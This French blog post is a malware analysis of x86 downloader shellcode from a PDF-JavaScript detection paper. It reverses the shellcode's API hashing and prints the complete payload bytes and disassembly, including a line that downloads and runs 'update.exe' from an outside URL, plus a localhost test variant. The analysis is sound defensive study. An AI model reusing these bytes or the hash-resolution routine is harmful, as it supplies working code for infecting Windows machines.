I. Introduction
Lors de notre étude sur les
techniques de détection de document pdf malveillant. Nous somme arrivé sur un
document "DETECTING PDF JAVASCRIPT MALWARE USING CLONE
DETECTION" ou un shellcode est
présent en page 63/93
Référence du document :
https://zdoc.pub/detecting-pdf-javascript-malware-using-clone-detection.html
II. Analyse du shellcode
Cette charge malveillant est inclus dans un document pdf au vu des explications. Nous somme
arrivé sur ce shellcode au format UTF16 ( Javascript ) en lisant la page 63/93
du dit document sur les techniques de détection de javascript malveillant au
sein de pdf.
Nous remontons ici, le shellcode au format UTF16 comme dans le document cité
var z =
'\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE
\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08
\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B
\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084
\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C
\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D
\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF
\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA
\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8
\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F
\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u772F\u7777\u772E\u6E61\u732E\u7274\u7461
\u6765\u6F79\u6A62\u6365\u2E74\u6F63?\u6F64\u6E77\u6F6C\u6461\u665F\u6C69\u2E65\u6870\u3F70
\u3D65\u6441\u626F\u2D65\u3032\u3830\u322D\u3939\uFF32\u03CD'
|
Nous avons donc passé ce shellcode dans notre outil de
conversion UTF16 vers Shellcode
En basculant en mode Shellcode, nous obtenons le shellcode
écrit au format C
Ce qui sera plus simple pour étudier le code associé
Nous mettons le shellcode code de cette manière en dessous:
\xEB\x46\x5F\x31\xC9\x83\xE9\x01\x89\xFE\x30\xC0\x2C\x01\xF2\xAE
\xFE\x47\xFF\x89\xFB\x30\xC0\x2C\x01\xF2\xAE\xFE\x47\xFF\x89\xFD
\xF2\xAE\xFE\x47\xFF\xEB\x71\x60\x31\xC9\x64\x8B\x71\x30\x8B\x76
\x0C\x8B\x76\x1C\x8B\x5E\x08\x8B\x56\x20\x8B\x36\x66\x39\x4A\x18
\x75\xF2\x89\x5C\x24\x1C\x61\xC3\xEB\x5B\x60\x8B\x6C\x24\x24\x8B
\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB
\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0
\x74\x07\xC1\xCF\x12\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B
\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B
\x01\xE8\x89\x44\x24\x1C\x61\xC3\xEB\x54\x31\xD2\x52\x52\x53\x55
\x52\xFF\xD0\xEB\x1A\xEB\x5D\xE8\x7B\xFF\xFF\xFF\xBA\xE7\xBA\x8B
\xC4\x52\x50\xE8\x92\xFF\xFF\xFF\x31\xD2\x52\xFF\xD0\xEB\x2D\xE8
\x63\xFF\xFF\xFF\xBA\xAA\x6E\x8A\xF3\x52\x50\xE8\x7A\xFF\xFF\xFF
\x31\xD2\x83\xC2\xFF\x83\xEA\xFA\x52\x53\xFF\xD0\xEB\xC9\xBA\x47
\x7D\xC8\xA0\x52\x50\xE8\x60\xFF\xFF\xFF\xEB\xAE\xEB\x5D\xE8\x34
\xFF\xFF\xFF\xBA\x12\xCE\x1A\x09\x52\x50\xE8\x4B\xFF\xFF\xFF\x56
\xFF\xD0\xEB\xDA\xE8\xF9\xFE\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E
\x64\x6C\x6C\xFF\x2E\x2E\x2F\x75\x70\x64\x61\x74\x65\x2E\x65\x78
\x65\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x77\x61\x6E
\x2E\x73\x74\x72\x61\x74\x65\x67\x79\x6F\x62\x6A\x65\x63\x74\x2E
\x63\x6F\x64\x6F\x77\x6E\x6C\x6F\x61\x64\x5F\x66\x69\x6C\x65\x2E
\x70\x68\x70\x3F\x65\x3D\x41\x64\x6F\x62\x65\x2D\x32\x30\x30\x38
\x2D\x32\x39\x39\x32\xFF\xCD\x03
|
Maintenant , il ne nous reste plus qu'a le transcrire en
assembleur X86.
Pour cela nous utilisons un de nos autres outils "Eazy
Shellcode Analyzer X32 V1.7"
Et il ne nous reste plus que à basculer en mode affichage assembleur en
cliquant sur le bounton nommé "Asm"
Nous mettons le code d'ensemble transcrit en dessous:
00000000: EB 46 JMP
46h +46h ->:00000048)
00000002: 5F POP
EDI
00000003: 31 C9 XOR
ECX,ECX
00000005: 83 E9 01 SUB ECX,0x00000001
00000008: 89 FE MOV
ESI,EDI
0000000A: 30 C0 XOR
AL,AL
0000000C: 2C 01 SUB
AL,01h
0000000E: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
00000010: FE 47 FF INC
BYTE PTR [EDI-0x01]
00000013: 89 FB MOV
EBX,EDI
00000015: 30 C0 XOR
AL,AL
00000017: 2C 01 SUB
AL,01h
00000019: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
0000001B: FE 47 FF INC
BYTE PTR [EDI-0x01]
0000001E: 89 FD MOV
EBP,EDI
00000020: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
00000022: FE 47 FF INC
BYTE PTR [EDI-0x01]
00000025: EB 71 JMP
71h +71h ->:00000098)
00000027: 60 PUSHAD
00000028: 31 C9 XOR
ECX,ECX
0000002A: 64 8B 71 30 MOV ESI,DWORD PTR FS:[ECX+30h]
0000002E: 8B 76
0C MOV
ESI,[ESI+0Ch]
00000031: 8B 76
1C MOV
ESI,[ESI+1Ch]
00000034: 8B 5E 08 MOV
EBX,DWORD PTR [ESI+08h]
00000037: 8B 56 20 MOV
EDX,DWORD PTR [ESI+20h]
0000003A: 8B 36 MOV
ESI,DWORD PTR[ESI]
0000003C: 66 39 4A 18 CMP WORD PTR[EDX+0x18],CX
00000040: 75 F2 JNZ
F2h (rel8)(-0Eh ->:00000034)
00000042: 89 5C 24 1C MOV DWORD PTR[ESP+1Ch],EBX
00000046: 61 POPAD
00000047: C3 RET
00000048: EB 5B JMP
5Bh +5Bh ->:000000A5)
0000004A: 60 PUSHAD
0000004B: 8B 6C 24 24 MOV EBP,DWORD PTR [ESP+0x24]
0000004F: 8B 45 3C MOV
EAX,DWORD PTR [EBP+3Ch]
00000052: 8B 54 05 78 MOV EDX,DWORD PTR [EBP+EAX*1+0x78]
00000056: 01 EA ADD
EDX,EBP
00000058: 8B 4A 18 MOV
ECX,[EDX+18h]
0000005B: 8B 5A 20 MOV
EBX,DWORD PTR [EDX+20h]
0000005E: 01 EB ADD
EBX,EBP
00000060: E3 34 JECXZ
34h (-FFFFFFCCh ->:00000096)
00000062: 49 DEC
ECX
00000063: 8B 34 8B MOV
ESI,DWORD PTR[EBX+ECX*4]
00000066: 01 EE ADD
ESI,EBP
00000068: 31 FF XOR
EDI,EDI
0000006A: 31 C0 XOR
EAX,EAX
0000006C: FC CLD
// Clear Direction Flag
0000006D: AC LODSB
0000006E: 84 C0 TEST
AL,AL
00000070: 74 07 JZ
0x07 (+07h ->:00000079)
00000072: C1 CF 12 ROR
EDI,12h (18)
00000075: 01 C7 ADD
EDI,EAX
00000077: EB F4 JMP
F4h (-0Ch ->:0000006D)
00000079: 3B 7C 24 28 CMP EDI,[ESP+28h]
0000007D: 75 E1 JNZ
E1h (rel8)(-1Fh ->:00000060)
0000007F: 8B 5A 24 MOV
EBX,DWORD PTR [EDX+24h]
00000082: 01 EB ADD
EBX,EBP
00000084: 66 8B 0C 4B MOV CX,WORD PTR DS:[EBX+ECX*2]
00000088: 8B 5A 1C MOV
EBX,DWORD PTR [EDX+1Ch]
0000008B: 01 EB ADD
EBX,EBP
0000008D: 8B 04 8B MOV
EAX,DWORD PTR[EBX+ECX*4]
00000090: 01 E8 ADD
EAX,EBP
00000092: 89 44 24 1C MOV DWORD PTR[ESP+1Ch],EAX
00000096: 61 POPAD
00000097: C3 RET
00000098: EB 54 JMP 54h +54h ->:000000EE)
0000009A: 31 D2 XOR EDX,EDX
0000009C: 52 PUSH
EDX
0000009D: 52 PUSH
EDX
0000009E: 53 PUSH
EBX
0000009F: 55 PUSH
EBP
000000A0: 52 PUSH
EDX
000000A1: FF D0 CALL EAX
000000A3: EB 1A JMP 1Ah +1Ah ->:000000BF)
000000A5: EB 5D JMP 5Dh +5Dh ->:00000104)
000000A7: E8 7B FF FF FF CALL FFFFFF7Bh (-85h ->:00000027)
000000AC: BA E7 BA 8B C4 MOV EDX, C48BBAE7h
000000B1: 52 PUSH
EDX
000000B2: 50 PUSH
EAX
000000B3: E8 92 FF FF FF CALL FFFFFF92h (-6Eh ->:0000004A)
000000B8: 31 D2 XOR
EDX,EDX
000000BA: 52 PUSH
EDX
000000BB: FF D0 CALL
EAX
000000BD: EB 2D JMP
2Dh +2Dh ->:000000EC)
000000BF: E8 63 FF FF FF CALL FFFFFF63h (-9Dh ->:00000027)
000000C4: BA AA 6E 8A F3 MOV EDX, F38A6EAAh
000000C9: 52 PUSH
EDX
000000CA: 50 PUSH
EAX
000000CB: E8 7A FF FF FF CALL FFFFFF7Ah (-86h ->:0000004A)
000000D0: 31 D2 XOR
EDX,EDX
000000D2: 83 C2 FF ADD
EDX,FFh (ADD(r/m16,imm8))
000000D5: 83 EA FA SUB
EDX,0xFFFFFFFA
000000D8: 52 PUSH
EDX
000000D9: 53 PUSH
EBX
000000DA: FF D0 CALL
EAX
000000DC: EB C9 JMP
C9h (-37h ->:000000A7)
000000DE: BA 47 7D C8 A0 MOV EDX, A0C87D47h
000000E3: 52 PUSH
EDX
000000E4: 50 PUSH
EAX
000000E5: E8 60 FF FF FF CALL FFFFFF60h (-A0h ->:0000004A)
000000EA: EB AE JMP
AEh (-52h ->:0000009A)
000000EC: EB 5D JMP
5Dh +5Dh ->:0000014B)
000000EE: E8 34 FF FF FF CALL FFFFFF34h (-CCh ->:00000027)
000000F3: BA 12 CE 1A 09 MOV EDX, 091ACE12h
000000F8: 52 PUSH
EDX
000000F9: 50 PUSH
EAX
000000FA: E8 4B FF FF FF CALL FFFFFF4Bh (-B5h ->:0000004A)
000000FF: 56 PUSH
ESI
00000100: FF D0 CALL
EAX
00000102: EB DA JMP DAh (-26h
->:000000DE)
00000104: E8 F9 FE FF FF CALL FFFFFEF9h (-107h ->:00000002)
00000109: 75 72 JNZ
72h (rel8)(+72h ->:0000017D)
0000010B: 6C
0000010C: 6D
0000010D: 6F
0000010E: 6E
0000010F: 2E
00000110: 64
00000111: 6C
00000112: 6C
00000113: FF
00000114: 2E
00000115: 2E
00000116: 2F
00000117: 75 70 JNZ
70h (rel8)(+70h ->:00000189)
00000119: 64
0000011A: 61 POPAD
0000011B: 74 65 JZ
0x65 (+65h ->:00000182)
0000011D: 2E
0000011E: 65
0000011F: 78 65 JS 65h
(rel8)(+65h ->:00000186)'Saut si drapeau de signe vaut 1 (SF=1)'
00000121: FF
00000122: 68 74 74 70 3A PUSH 3A707474h "ttp:" dw:980448372 / {116
116 112 58} / < w:28730 | w:29812 >
00000127: 2F
00000128: 2F
00000129: 77 77 JA
77h (Jump if Above)(+77h ->:000001A2)
0000012B: 77 2E JA
2Eh (Jump if Above)(+2Eh ->:0000015B)
0000012D: 77 61 JA
61h (Jump if Above)(+61h ->:00000190)
0000012F: 6E
00000130: 2E
00000131: 73 74 JNB
SHORT 74h (-FFFFFF8Ch ->:000001A7)
00000133: 72 61 JB
(rel8) 61h (-FFFFFF9Fh ->:00000196)
00000135: 74 65 JZ
0x65 (+65h ->:0000019C)
00000137: 67
00000138: 79 6F JNS
6Fh (rel8)(+6Fh ->:000001A9)
0000013A: 62
0000013B: 6A 65 PUSH
65h (101) 'e'
0000013D: 63
0000013E: 74 2E JZ 0x2E (+2Eh
->:0000016E)
00000140: 63
00000141: 6F
00000142: 64
00000143: 6F
00000144: 77 6E JA
6Eh (Jump if Above)(+6Eh ->:000001B4)
00000146: 6C
00000147: 6F
00000148: 61 POPAD
00000149: 64
0000014A: 5F POP
EDI
0000014B: 66
0000014C: 69
0000014D: 6C
0000014E: 65
0000014F: 2E
00000150: 70 68 JO
68h (Jump if overflow)(+68h ->:000001BA)
00000152: 70 3F JO
3Fh (Jump if overflow)(+3Fh ->:00000193)
00000154: 65
00000155: 3D 41 64 6F 62 CMP EAX,626F6441h ( 626F6441h ('Adob') Mirror >
'bodA')
0000015A: 65
0000015B: 2D 32 30 30 38 SUB EAX,38303032h
00000160: 2D 32 39 39 32 SUB EAX,32393932h
00000165: FF CD CALL
EBP
00000167: 03
|
Nous allons basculer en
mode "Ascii", pour confirmer que la zone 00000109 à 00000167 est une
partie contenant des datas uniquement. Avec comme séparateur 0xFF entre chaque
élément.
Avec ce listing, nous voyons clairement une utilisation de
fonction, situé à l'adresse 0x0000004A
Au travers des zone suivante:
000000AC: BA
E7 BA 8B C4 MOV EDX,
C48BBAE7h
000000B1: 52 PUSH
EDX
000000B2: 50 PUSH
EAX
000000B3: E8 92 FF FF FF CALL FFFFFF92h (-6Eh ->:0000004A)
000000C4: BA AA 6E 8A F3 MOV EDX, F38A6EAAh
000000C9: 52 PUSH
EDX
000000CA: 50 PUSH
EAX
000000CB: E8 7A FF FF FF CALL FFFFFF7Ah (-86h ->:0000004A)
En regardant , le bloc pointé à cette adresse que nous avons
mis en bleu dans le listing au dessus.
On repère la partie qui est important a regardé, elle
correspond au calcul d'un hash par
expérience
0000006D: AC LODSB
0000006E: 84 C0 TEST
AL,AL
00000070: 74 07 JZ
0x07 (+07h ->:00000079)
00000072: C1 CF 12 ROR
EDI,12h (18)
00000075: 01 C7 ADD
EDI,EAX
00000077: EB F4 JMP
F4h (-0Ch ->:0000006D)
|
Etant construit avec un ROR (0x12) et suivit d'un ADD, on
peut donc en déduire un type
d'algorithme Ror 18 Additive + k . Vu que l'on test via TEST AL,AL avant de
continuer on à k qui est de 0
et on est en face d'un algorithme "Ror 18
Additive"
Nous pouvons déduire l'implémentation de la fonction sur une forme suivante pour la zone
en bleu:
DWORD
GetProcAddressByHashROR18AdditiveV1(HMODULE hMod,DWORD dwHash)
Nous avons crée un petit testeur, pour valider cela comme
vous pouvez le constater sur la capture écran en dessous:
Nous mettons le code correspondant du bouton
"Call"
unsigned char
szShellCode_Fn_GetProcAddressByHashROR18AdditiveV1[] =
"\x60\x8B\x6C\x24\x24\x8B"
"\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB"
"\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0"
"\x74\x07\xC1\xCF\x12\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B"
"\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B"
"\x01\xE8\x89\x44\x24\x1C\x61\xC3";
void
CAnalyzeAsm_GetProcAddressByHashROR18AdditiveDlg::OnBnClickedBtCall1()
{
std::string sHash =
sApi_GetDlgItemText(this->m_hWnd,IDC_ED_HASHROR18);
DWORD dwHashRor18Additive = 0xC48BBAE7; ///Sample hash de l'api 'ExitProcess'
dwHashRor18Additive = Convert_sHex_To_Int(sHash);
DWORD dwAddrModuleKernel32Dll
=(DWORD)GetModuleHandle("kernel32.dll");
DWORD dwAddrFunction = 0;
int dwFindAddressFnByDllAndHashRor18Additive=
(int)(&szShellCode_Fn_GetProcAddressByHashROR18AdditiveV1[0]);
_asm
{
push dword ptr
[dwHashRor18Additive]
push dword ptr
[dwAddrModuleKernel32Dll]
call dword ptr
[dwFindAddressFnByDllAndHashRor18Additive]
mov dwAddrFunction,eax
add esp,08h
}
std::string sHexResu =
Convert_DWORD_To_sHex(dwAddrFunction);
sApi_SetDlgItemText(this->m_hWnd, IDC_ED_RESU1,
sHexResu);
}
|
Nous avons contrôler cela avec une analyse du processus et
des adresse en mémoire des APIs pour notre testeur et utilisé un autre outil
maison "Api Hash Predator V1.9" pour lister tous le adresse d'Api
présent dans le programme de test. Cela pour valider le hash obtenu
Le principe est simple on positionne la valeur du hash. Ici
nous avons pris l'un des hash du shellcode
et nous avons chercher l'adresse obtenu dans la Dll ciblé en
mémoire dans le processus
Nous obtenons que le Hash 0x091ACE12 correspond à l'API
"LoadLibraryA". Un dernier teste via un le générateur nous mettons le
nom de l'api "LoadLibraryA et calculons le hash via l'algorithme.
Nous avons l'obtention du même hash 0x091ACE12, en
conclusion le bloc cité est bien une fonction
DWORD
GetProcAddressByHashROR18AdditiveV1(HMODULE hMod,DWORD dwHash)
Nous avons intégrer les hashs et la signature de la fonction
dans notre outil d'analyse de shellcode X32
et repasser le shellcode initial dans l'outil suite à la mise
à jour. De là nous avons basculer en mode "Diagram"
ce qui nous donne un listing plus simple
Nous remonte le listing obtenu à partir de l'outil en
dessous:
00000000: EB 46 JMP
46h +46h ->:00000048)
00000002: 5F POP
EDI
00000003: 31 C9 XOR
ECX,ECX
00000005: 83 E9 01 SUB
ECX,0x00000001
00000008: 89 FE MOV
ESI,EDI
0000000A: 30 C0 XOR
AL,AL
0000000C: 2C 01 SUB
AL,01h
0000000E: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
00000010: FE 47 FF INC
BYTE PTR[EDI-0x01]
00000013: 89 FB MOV
EBX,EDI
00000015: 30 C0 XOR
AL,AL
00000017: 2C 01 SUB
AL,01h
00000019: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
0000001B: FE 47 FF INC
BYTE PTR[EDI-0x01]
0000001E: 89 FD MOV
EBP,EDI
00000020: F2 AE REPNE
SCAS BYTE PTR ES:[EDI]
00000022: FE 47 FF INC
BYTE PTR[EDI-0x01]
00000025: EB 71 JMP
71h +71h ->:00000098)
00000027 ->
00000047: =>HMODULE
__declspec(naked) AsmFindKernel32Base_V31(void)
00000048: EB 5B JMP
5Bh +5Bh ->:000000A5)
0000004A ->
00000097: => DWORD __declspec(naked)
GetProcAddressByHashROR18AdditiveV1(HMODULE hMod,DWORD dwHash)
00000098: EB 54 JMP
54h +54h ->:000000EE)
0000009A: 31 D2 XOR
EDX,EDX
0000009C: 52 PUSH
EDX
0000009D: 52 PUSH
EDX
0000009E: 53 PUSH
EBX
0000009F: 55 PUSH
EBP
000000A0: 52 PUSH
EDX
000000A1: FF D0 CALL
EAX
000000A3: EB 1A JMP
1Ah +1Ah ->:000000BF)
000000A5: EB 5D JMP
5Dh +5Dh ->:00000104)
000000A7: E8 7B FF FF FF CALL FFFFFF7Bh (-85h ->:00000027)
000000AC: BA E7 BA 8B C4 MOV EDX, C48BBAE7h (C48BBAE7=Hash[ROR18(Additive)]('ExitProcess'))
000000B1: 52 PUSH
EDX
000000B2: 50 PUSH
EAX
000000B3: E8 92 FF FF FF CALL FFFFFF92h (-6Eh ->:0000004A)
000000B8: 31 D2 XOR
EDX,EDX
000000BA: 52 PUSH
EDX
000000BB: FF D0 CALL
EAX
000000BD: EB 2D JMP
2Dh +2Dh ->:000000EC)
000000BF: E8 63 FF FF FF CALL FFFFFF63h (-9Dh ->:00000027)
000000C4: BA AA 6E 8A F3 MOV EDX, F38A6EAAh
(F38A6EAA=Hash[ROR18(Additive)]('WinExec'))
000000C9: 52 PUSH
EDX
000000CA: 50 PUSH
EAX
000000CB: E8 7A FF FF FF CALL FFFFFF7Ah (-86h ->:0000004A)
000000D0: 31 D2 XOR
EDX,EDX
000000D2: 83 C2 FF ADD
EDX,FFh (ADD(r/m16,imm8))
000000D5: 83 EA FA SUB
EDX,0xFFFFFFFA
000000D8: 52 PUSH
EDX
000000D9: 53 PUSH
EBX
000000DA: FF D0 CALL
EAX
000000DC: EB C9 JMP
C9h (-37h ->:000000A7)
000000DE: BA 47 7D C8 A0 MOV EDX, A0C87D47h
(A0C87D47=Hash[ROR18(Additive)]('URLDownloadToFileA'))
000000E3: 52 PUSH
EDX
000000E4: 50 PUSH
EAX
000000E5: E8 60 FF FF FF CALL FFFFFF60h (-A0h ->:0000004A)
000000EA: EB AE JMP
AEh (-52h ->:0000009A)
000000EC: EB 5D JMP
5Dh +5Dh ->:0000014B)
000000EE: E8 34 FF FF FF CALL FFFFFF34h (-CCh ->:00000027)
000000F3: BA 12 CE 1A 09 MOV EDX, 091ACE12h
(091ACE12=Hash[ROR18(Additive)]('LoadLibraryA'))
000000F8: 52 PUSH
EDX
000000F9: 50 PUSH
EAX
000000FA: E8 4B FF FF FF CALL FFFFFF4Bh (-B5h ->:0000004A)
000000FF: 56 PUSH
ESI
00000100: FF D0 CALL
EAX
00000102: EB DA JMP DAh (-26h
->:000000DE)
00000104: E8 F9 FE FF FF CALL FFFFFEF9h (-107h ->:00000002)
00000109 ->
00000113: db 'urlmon.dll'
00000113: FF
00000114 ->
00000121: db '../update.exe'
00000121: FF
00000122 ->
00000165: db
'http://www.wan.strategyobject.codownload_file.php?e=Adobe-2008-2992'
00000165: FF CD CALL
EBP
00000167: 03
|
Ainsi, nous avons construit un tableau des hashs présent
dans ce shellcode
HashRor18Additive
|
Api Name
|
0xC48BBAE7
|
ExitProcess
|
0xF38A6EAA
|
WinExec
|
0x091ACE12
|
LoadLibraryA
|
0xA0C87D47
|
URLDownloadToFileA
|
III. Test du shellcode
Nous avons modifié l'url du shellcode par
"http://127.0.0.1:8089/MalwareSite" pour notre test
\xEB\x46\x5F\x31\xC9\x83\xE9\x01\x89\xFE\x30\xC0\x2C\x01\xF2\xAE\xFE\x47\xFF\x89\xFB\x30\xC0\x2C\x01
\xF2\xAE\xFE\x47\xFF\x89\xFD\xF2\xAE\xFE\x47\xFF\xEB\x71\x60\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B
\x76\x1C\x8B\x5E\x08\x8B\x56\x20\x8B\x36\x66\x39\x4A\x18\x75\xF2\x89\x5C\x24\x1C\x61\xC3\xEB\x5B\x60
\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B
\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x12\x01\xC7\xEB\xF4\x3B\x7C\x24\x28
\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24\x1C
\x61\xC3\xEB\x54\x31\xD2\x52\x52\x53\x55\x52\xFF\xD0\xEB\x1A\xEB\x5D\xE8\x7B\xFF\xFF\xFF\xBA\xE7\xBA
\x8B\xC4\x52\x50\xE8\x92\xFF\xFF\xFF\x31\xD2\x52\xFF\xD0\xEB\x2D\xE8\x63\xFF\xFF\xFF\xBA\xAA\x6E\x8A
\xF3\x52\x50\xE8\x7A\xFF\xFF\xFF\x31\xD2\x83\xC2\xFF\x83\xEA\xFA\x52\x53\xFF\xD0\xEB\xC9\xBA\x47\x7D
\xC8\xA0\x52\x50\xE8\x60\xFF\xFF\xFF\xEB\xAE\xEB\x5D\xE8\x34\xFF\xFF\xFF\xBA\x12\xCE\x1A\x09\x52\x50
\xE8\x4B\xFF\xFF\xFF\x56\xFF\xD0\xEB\xDA\xE8\xF9\xFE\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C
\xFF\x2E\x2E\x2F\x75\x70\x64\x61\x74\x65\x2E\x65\x78\x65\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x37\x2E
\x30\x2E\x30\x2E\x31\x3A\x38\x30\x38\x39\x2F\x4D\x61\x6C\x77\x61\x72\x65\x53\x69\x74\x65\xFF\xCD\x03
|
pour simuler les actions réalisées par le shellcode, nous
avons utiliser un de nos exemples permettant d'exécuter un shellcode
(ConstructShellCodePEBMsgBox.exe ) ou dans construire.
Et également un simulateur de site web pour les testes de
l'Api " URLDownloadToFileA" ou des PayLoads
lorsque l'on exécute le
shellcode, le programme effectue une connexion vers le site et télécharge un
programme
l'affichage du bouclier n'est
pas lié au shellcode, mais à une subtilité de Windows
il est important de rappeler que Windows Vista ou Windows
7, possède un système de détection automatique de droits utilisé par les applications
n'ayant de pas manifeste, principalement les installeurs. Il utilise différents
systèmes pour le faire:
- Le nom de l'application contient les mots-clés "install," "setup," ou "update."
- Les mots-clés placés dans le fichier dans la version ou dans les fichiers de ressources de l'applications
- Le nom de l'application contient les mots-clés "install," "setup," ou "update."
- Les mots-clés placés dans le fichier dans la version ou dans les fichiers de ressources de l'applications
Cela veut simplement dire si le nom de l'exécutable
contient un de ses mots clés, l'icône de l'application sera afficher avec le
bouclier d'élévation de droit.
IV. Conclusions
Nous espérons que ces quelques lignes,
vous permet de mieux comprendre l'analyse de shellcode et l'extraction de
signature ainsi que des hash pouvant être mis en oeuvre.
Les techniques d'analyse statique
passe toujours par de grande étape comme la reconversion au format assembleur
des shellcodes et le passage part des signatures de bloc pour identifier des
fonctions qui sont réutilisé par les développeurs de shellcode permettant de
mieux comprendre le rôle du shellcode et aussi identifié des relation entre
shellcode ou les sources associés.
Aucun commentaire:
Enregistrer un commentaire